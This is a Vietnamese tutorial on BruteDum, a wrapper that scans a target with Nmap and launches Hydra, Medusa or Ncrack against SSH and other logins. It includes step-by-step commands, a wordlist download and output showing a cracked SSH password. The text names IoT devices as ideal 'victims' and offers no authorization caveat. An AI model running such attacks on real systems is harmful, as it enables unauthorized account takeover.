Tìm hiểu BruteDum

BruteDumg là một cách dễ dàng để khám phá thông tin đăng nhập mật khẩu yếu và thường là một trong những bước đầu tiên khi tin tặc tìm thấy các dịch vụ mạng chạy trên mạng mà chúng có quyền truy cập. Đối với những người mới bắt đầu và cả những hacker có kinh nghiệm, thật hữu ích khi có quyền truy cập vào các công cụ phù hợp để khám phá, phân loại và sau đó khởi chạy các cuộc tấn công tùy chỉnh chống lại mục tiêu. BruteDum làm tất cả từ một khung duy nhất.

Mật khẩu yếu là con mồi dễ dàng

Khi tin tặc có quyền truy cập vào hệ thống có các dịch vụ chạy trên nó, một trong những điều đầu tiên họ thường làm là xem liệu họ có thể đăng nhập vào bất kỳ dịch vụ nào bằng thông tin đăng nhập mặc định hoặc thông thường không. Phần cứng và thiết bị Internet of Things (IoT) như bộ định tuyến thường được để lại mật khẩu mặc định được bật, giúp chúng dễ dàng tấn công.

Để kiểm tra các dịch vụ mà họ phát hiện ra mật khẩu yếu, tin tặc cần chọn công cụ phù hợp cho công việc và có thể khó hiểu khi biết công cụ nào là tốt nhất để sử dụng đối với một dịch vụ cụ thể.

BruteDum là một công cụ Python cho phép tin tặc có được mục tiêu trước tiên và chạy quét bên trong khung để xác định công cụ tốt nhất dựa trên những gì được phát hiện. Thật dễ dàng để thực hiện một cuộc tấn công gần như bất kỳ giao thức tiêu chuẩn nào kém bảo mật.

Ưu điểm của việc chạy BruteDum so với các công cụ cụ thể là khả năng chạy quét từ bên trong để xác định những quy trình khác có thể đang chạy trên cùng một thiết bị, cũng như tổ chức các công cụ mạnh mẽ để xâm nhập vào tài khoản người dùng trên các dịch vụ như SSH.

Tấn công trực tuyến hoặc kết nối

Không giống như các cuộc tấn công được thực hiện đối với các mạng WPA nơi chúng ta có thể lấy một hàm và cố gắng bẻ khóa sau đó, chúng ta cần được kết nối trực tiếp với mục tiêu của chúng ta qua mạng để thử một cuộc tấn công từ điển hoặc cưỡng bức. Mặc dù có nhiều cách để che giấu danh tính của chúng ta bằng VPN hoặc Tor , các cuộc tấn công có thể bị hạn chế về hiệu quả thông qua nhiều phương tiện khác nhau.

Một cách để hạn chế các cuộc tấn công từ điển vũ phu và từ điển là thông qua giới hạn tỷ lệ, trong đó khóa được kích hoạt sau một số lần thử đăng nhập không chính xác. Điều đó, kết hợp với việc đánh dấu các nỗ lực đăng nhập đáng ngờ, có thể khiến các cuộc tấn công từ điển và từ điển có nhiều khả năng cảnh báo mục tiêu mà chúng đang bị tấn công.

Để thực hiện một cuộc tấn công từ điển trực tuyến, chúng tôi sẽ sử dụng THC Hydra , Medusa hoặc Ncrack chống lại các dịch vụ chúng tôi khám phá, sử dụng BruteDum để quét và tổ chức các cuộc tấn công giữa các công cụ này. Chúng tôi cũng sẽ cần một danh sách mật khẩu, điều này rất quan trọng đối với sự thành công hay thất bại của cuộc tấn công từ điển của chúng tôi. Nếu danh sách mật khẩu quá lớn, sẽ mất quá nhiều thời gian để tấn công mạng và nếu nó không đủ dài để chứa mật khẩu, chúng tôi có nguy cơ không có tên trong danh sách, khiến cuộc tấn công thất bại.

Những gì bạn cần

Để làm theo hướng dẫn này, bạn sẽ cần cài đặt Python3 trên hệ thống của mình. Ngoài ra, tôi khuyên bạn nên sử dụng Kali Linux , vì nó nên có hầu hết các chương trình cần thiết được cài đặt theo mặc định. Nếu bạn đang làm điều này trên một hệ thống khác, bạn sẽ cần đảm bảo rằng bạn đã cài đặt tất cả các chương trình tiên quyết.

Nếu bạn không sử dụng Kali Linux, bạn có thể sử dụng Ubuntu hoặc Debian, nhưng bạn sẽ cần đảm bảo rằng bạn đã cài đặt Hydra , Medusa và Ncrack . Bạn cũng sẽ cần Nmap để quét.

Chúng tôi cũng sẽ cần một danh sách mật khẩu để kiểm tra và trong trường hợp này, chúng tôi sẽ tải nó xuống một thư mục chúng tôi tạo sau này. Nếu bạn có một danh sách mật khẩu yêu thích, bạn sẽ cần sao chép nó vào thư mục mà chúng tôi sẽ tạo.

Bước 1 Tải xuống & Thiết lập BruteDum

Để bắt đầu, chúng tôi cần tải xuống kho lưu trữ từ GitHub. Trong cửa sổ terminal mới, bạn có thể gõ lệnh sau để sao chép repo.

~$ git clone https://github.com/GitHackTools/BruteDum

Cloning into 'BruteDum'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 15 (delta 2), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (15/15), done.

Và cái này để điều hướng vào thư mục:

~$ cd BruteDum

Từ trong thư mục này, bạn sẽ có thể chạy BruteDum. Trước khi chúng ta làm, chúng ta nên chăm sóc một điều nhỏ. Tôi thấy rằng BruteDum không thể tìm thấy danh sách mật khẩu được lưu bên ngoài thư mục BruteDum, vì vậy giải pháp dường như là thêm danh sách mật khẩu của chúng tôi trực tiếp vào đó. Để làm điều này, tôi chỉ cần tắt GitHub và tôi sẽ tải nó xuống thư mục tôi đang sử dụng lệnh wget .

~/BruteDum$ wget https://raw.githubusercontent.com/berzerk0/Probable-Wordlists/master/Real-Passwords/Top207-probable-v2.txt

--2020-01-10 17:19:59--  https://raw.githubusercontent.com/berzerk0/Probable-Wordlists/master/Real-Passwords/Top207-probable-v2.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1620 (1.6K) [text/plain]
Saving to: ‘Top207-probable-v2.txt’

Top207-probable-v2. 100%[===================>]   1.58K  --.-KB/s    in 0s

2020-01-10 17:19:59 (53.3 MB/s) - ‘Top207-probable-v2.txt’ saved [1620/1620]

Khi đã xong, chúng ta có thể chạy BruteDum bằng cách gõ lệnh sau.

~/BruteDum$ python3 brutedum.py

888888                           888888                BRUTE
8    8   eeeee  e   e eeeee eeee 8    8 e   e eeeeeee  FORCE
8eeee8ee 8   8  8   8   8   8    8e   8 8   8 8  8  8  JUST
88     8 8eee8e 8e  8   8e  8eee 88   8 8e  8 8e 8  8  FOR
88     8 88   8 88  8   88  88   88   8 88  8 88 8  8  THE
88eeeee8 88   8 88ee8   88  88ee 88eee8 88ee8 88 8  8  DUMMIES

[i]

BruteDum – Brute Force attacks SSH, FTP, Telnet, PostgreSQL, RDP, VNC with Hydra, Medusa and Ncrack Author: https://GitHackTools.blogspot.com [?] Enter the victim address:

Bước 2 Nhập địa chỉ mục tiêu

Sau khi màn hình tải kết thúc, chúng ta sẽ cần nhập địa chỉ IP của nạn nhân. Khi bạn đã hoàn thành, nhấn Enter và bạn sẽ thấy tùy chọn chạy quét Nmap. Đây là một tính năng tiện dụng có thể giúp bạn khám phá các dịch vụ khác mở trên cùng một thiết bị. Gõ Y và nhấn Enter để chạy quét Nmap.

[?] Enter the victim address: 192.168.43.1

[?] Do you want to scan victim's ports with Nmap? [Y/n]: Y

Khi kết quả trả về, bạn sẽ có thể xác định bất kỳ cổng nào quay lại là “mở”. Tiếp theo, bạn sẽ cần chọn một dịch vụ để bẻ khóa. Menu để làm như vậy khá dễ hiểu và bạn có thể chọn một menu phù hợp với dịch vụ mà quét Nmap của chúng tôi đã phát hiện ra.

[+] Scanning ports with Nmap...

Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-10 02:57 PDT
Nmap scan report for 192.168.43.1
Host is up (0.0087s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: ███.███.███.███.███.███

Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds

[1] FTP                       [2] Telnet
        (Default port is 21)          (Default port is 23)
    [3] PostgreSQL                [4] SSH
        (Default port is 5432)        (Default port is 22)
    [5] RDP                       [6] VNC
        (Default port is 3389)        (Default port is 5900)

[?] Which protocol do you want to crack? [1-6]: 4

Trong ví dụ của chúng tôi, chúng tôi sẽ chọn tùy chọn 4 và nhấn Enter để cho biết chúng tôi muốn thực hiện bẻ khóa SSH.

Bước 3 Chọn Công cụ

Bây giờ, chúng tôi sẽ cần xác định công cụ chúng tôi sẽ sử dụng để thử bẻ khóa mật khẩu. Tùy thuộc vào dịch vụ chúng tôi đã chọn, BruteDum sẽ đề xuất một dịch vụ để sử dụng.

888888                           888888                BRUTE
8    8   eeeee  e   e eeeee eeee 8    8 e   e eeeeeee  FORCE
8eeee8ee 8   8  8   8   8   8    8e   8 8   8 8  8  8  JUST
88     8 8eee8e 8e  8   8e  8eee 88   8 8e  8 8e 8  8  FOR
88     8 88   8 88  8   88  88   88   8 88  8 88 8  8  THE
88eeeee8 88   8 88ee8   88  88ee 88eee8 88ee8 88 8  8  DUMMIES

[i]

BruteDum – Brute Force attacks SSH, FTP, Telnet, PostgreSQL, RDP, VNC with Hydra, Medusa and Ncrack Author: https://GitHackTools.blogspot.com

[i]

Target: 192.168.43.1 Protocol: ssh [1] Ncrack [2] Hydra (Recommended) [3] Medusa [?] Which tool do you want to use? [1-3]: 2

Chúng tôi sẽ chọn Hydra, vì đây là ứng dụng được khuyên dùng để bẻ khóa SSH. Gõ 2 để chỉ Hydra (hoặc số lượng các công cụ mà bạn muốn sử dụng) và nhấn Enter để bắt đầu cấu hình nó.

Bước 4 Đặt danh sách tên người dùng và mật khẩu

Để khởi động cuộc tấn công của chúng tôi, chúng tôi sẽ cần phải thực hiện một thời gian so với đánh đổi xác suất. Tùy chọn đầu tiên của chúng tôi sẽ là chọn một danh sách tên người dùng. Điều đó có nghĩa là sẽ thử mọi mật khẩu trong danh sách mật khẩu với mỗi tên người dùng trong danh sách tên người dùng. 

Trong ví dụ có thể chọn N để từ chối sử dụng danh sách tên người dùng. Thay vào đó, sẽ sử dụng tên người dùng chung hoặc một tên mà có thể biết tồn tại theo mặc định trên loại thiết bị.

[i] Target: 192.168.43.1
    Protocol: ssh
[?] Do you want to use username list? [Y/n]: N

Vì đã từ chối cung cấp danh sách tên người dùng, thay vào đó sẽ phải nhập một danh sách theo cách thủ công. Ở đây, tôi sẽ nhập toor , vì biết đó là tên người dùng cho thiết bị thử nghiệm .

[?] Enter the username: toor

Tiếp theo, chúng ta sẽ cần thiết lập danh sách mật khẩu. Sẽ không hoạt động nếu chọn một danh sách mật khẩu bên ngoài thư mục đang ở, vì vậy bây giờ có thể thêm danh sách mật khẩu mà đã tải xuống trước đó. Nếu bạn đã theo dõi trước đó, có thể chỉ cần dán vào danh sách từ Top207-probable-v2.txt tại đây.

[?] Enter the path of wordlist: Top207-probable-v2.txt

Bước 5 Khởi động cuộc tấn công

Cuối cùng, chúng ta có thể quyết định xem chúng ta có muốn sử dụng cổng mặc định hay không. Một số thiết bị có thể lưu trữ các dịch vụ trên một cổng khác với cổng tiêu chuẩn, nhưng điều này không phổ biến. Đối với SSH, cổng mặc định là 22, vì vậy chúng tôi sẽ nhập Y và nhấn Enter .

[?] Do you want to use default port? [Y/n]: Y

Nếu bạn đang tấn công một dịch vụ trên một cổng không chuẩn, bạn có thể chỉ định dịch vụ ở đây và nhấn Enter . Đừng vô tình gõ số cổng bạn muốn tấn công ở đây, vì tập lệnh sẽ bị sập.

Ngay khi bạn cung cấp cổng, BruteDum sẽ khởi chạy công cụ bạn đã chỉ định.

[i] Target: 192.168.43.1
    Protocol: ssh
[+] Hydra is cracking...

Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-10 09:23:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 208 login tries (l:1/p:208), ~13 tries per task
[DATA] attacking ssh://192.168.43.1:22/

Sau một thời gian tấn công mạng và thử tất cả các mật khẩu, bạn sẽ nhận được kết quả, tiết lộ mật khẩu hoặc báo cáo rằng không tìm thấy mật khẩu hợp lệ.

[22][ssh] host: 192.168.43.1   login: toor   password: root
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-01-10 10:51:18

[?] Do you want to conitnue? [Y/n]: N

Tấn công Brute-Force Tìm mật khẩu yếu

Một điều quan trọng cần nhớ về các cuộc tấn công từ điển và vũ phu là chúng mạnh mẽ ở đúng nơi, nhưng không phải là viên đạn bạc để đột nhập vào tài khoản. Mật khẩu yếu đặc biệt dễ tìm với BruteDum, nhưng mật khẩu phức tạp hơn đòi hỏi danh sách mật khẩu dài hơn. Vấn đề đó đòi hỏi phải tiếp xúc lâu dài với nạn nhân để đốt cháy những danh sách dài hơn đó, khiến cuộc tấn công trở nên ít thực tế hơn và rõ ràng hơn đối với bất kỳ ai theo dõi loại tấn công này.

Một mục tiêu lý tưởng cho các cuộc tấn công này chủ yếu là các thiết bị IoT, thường có bảo mật kém và rất nhiều dịch vụ chạy với thông tin đăng nhập mặc định.

Để lại một bình luận